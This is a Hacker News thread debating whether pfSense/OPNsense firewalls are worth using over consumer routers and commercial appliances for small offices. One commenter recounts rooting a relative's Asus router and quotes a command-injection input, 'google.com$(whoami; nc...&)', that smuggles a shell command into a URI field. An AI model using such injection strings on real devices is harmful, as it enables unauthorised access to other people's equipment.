Hacker News Reader

Comment by kev009 | Hacker News Reader

If you read this site you are probably well above the target audience in terms of skill. By numbers, I'd guess small/mid size business IT personnel dwarf the higher end multi-tier {dev,eng,ops,sre,sec} of tech companies. And these IT folks generally need a push-button appliance experience due to education/skills. Think Microsoft products, and control panels and wizards on Linux like cPanel.

If you go walk the floor of a commercial data center, you will see tons of sonicwall, Ubiquiti, etc. Basically these are an open source version of those.

Now a subset of these projects might have some serious implementation smells, but I wouldn't really pass judgement on the users of any of those things. Just about any business can benefit from technology, not everything is well suited for services/hosted approaches, and there is clearly a need for simplified IT equipment.

View on HN

Sure, I get that, but my point isn't that I would do what pfSense/OPNSense does in a better, more elegant way; it's that I wouldn't do them at all. Isn't that even easier than installing one of these thingies?

Say you have a single static IP at a small office and need to set up a network of systems behind a NAT with DHCP, and maybe a few PAT forwarding rules to a server. It would basically take the time to burn a USB stick and boot it, and 30 minutes of following the UI prompts for even low skilled folks. What would you recommend said folks do instead?

Isn't that a problem almost every wifi router that costs more than $150 already solves? I might just not be understanding your requirements. Also: you just described a problem that requires something like 2% of all the crud OPNSense brags about running.

> every wifi router that costs more than $150

Price does not matter. Botnets are created on consumer grade routers, of any price range. Asus, Netgear and the like. None of them are x86 based, and most run outdated busybox linux on low power SoC chips.

Botnets are created on internet of things and printers, rarely on routers. A small business trying to setup and administer a Unix server as a router is more likely to go wrong than buying a dedicated appliance.

My point is I don't trust consumer grade stuff.

> Unix server as a router is more likely to go wrong

That is exactly why you install pfSense/OPNsense.

I’ve actually trivially rooted my mothers Asus two times when she had network problems and I had to find a way of debugging it remotely. One time I could inject an RCE via some kind of network connection testing tool they had which were supposed to take an uri but happily accepted something like "google.com$(whoami; nc...&)"

Uhhhh... https://arstechnica.com/information-technology/2018/06/vpnfi...

I’ve been using pfSense for about 5 years. The past 10+ years I’ve been on either 1x1Gbps or 2x1Gbps symmetric up/down links via fiber (no isp boxes), no consumer/semipro router in the $150-400 range have been able to keep up with these links (tried a few at different times) and especially not handling IPSec-tunneling at these speeds. So I use my old Nehalem/supermicron server (8c/24GB ram, multiple intel pro nics). Used to run FreeBSD+pf then NetBSD+npf manually configured but around 2013 my hard drive broke in a move so I just threw pfSense onto an old disk I had laying around as a temporary solution to get up and running quickly, at that point I never had time/got around to actually set up npf again so I just keep running pfSense and still am.

This server costed me about $100 since I salvaged most parts from a broken server I bought of some company back in 08, been running really solid and tried to replace it with highend prosumer routers a few times when I were upgrading my Wi-Fi but they never kept up, I’m now using UniFi Ac PRO for Wi-Fi since my last tplink router/ap broke.

I don't know why people use it either.

I looked pretty seriously at using it when I was considering building a outgoing firewall product, when people could share blocklists for IoT devices and things like SmartTVs.

It's pretty well suited for building things like that on top of.

Maybe people are building things like site blockers for schools on top of it?

Maybe it's just a hobbyist/prosumer play?

> I don't know why people use it either.

I'm shocked this is a common statement on this.

Because its great. Its a fast firewall and router. Its perfect for not overpaying for something like a Cisco ASA.

But in what circumstances? How big is your business?

If you are running a SME office, then there are plenty of decent firewall appliances which are much cheaper than Cisco ASA, and have much lower support overhead than Sense.

If people are doing it for fun or as a hobby great. But given that you can get perfectly good appliances at $500/$1000/$2000 pricepoints, where is th price tradeoff where is makes sense to use Sense?

The thread is too deep to reply direct, but you appear to be more or less agreeing. There are low powered x86 systems at that price point. pfSense has offered a software upgrade path for over a decade, and takes security advisories seriously, so how many store bought routers can boast anything close to that? pfSense also scales up to 10gbit forwarding performance. I can't really comment on the cruft, AFAIK you don't need to run an IDS and that is all in packages.

One case where I would use pfsense. Let's say you are a system admin of an small private school, you get an alert email from Comcast saying that copyrighted content was downloaded using torrents. You deploy pfsense and with 30 clicks you have snort configured and set to block torrent connections.

Reply on news.ycombinator.com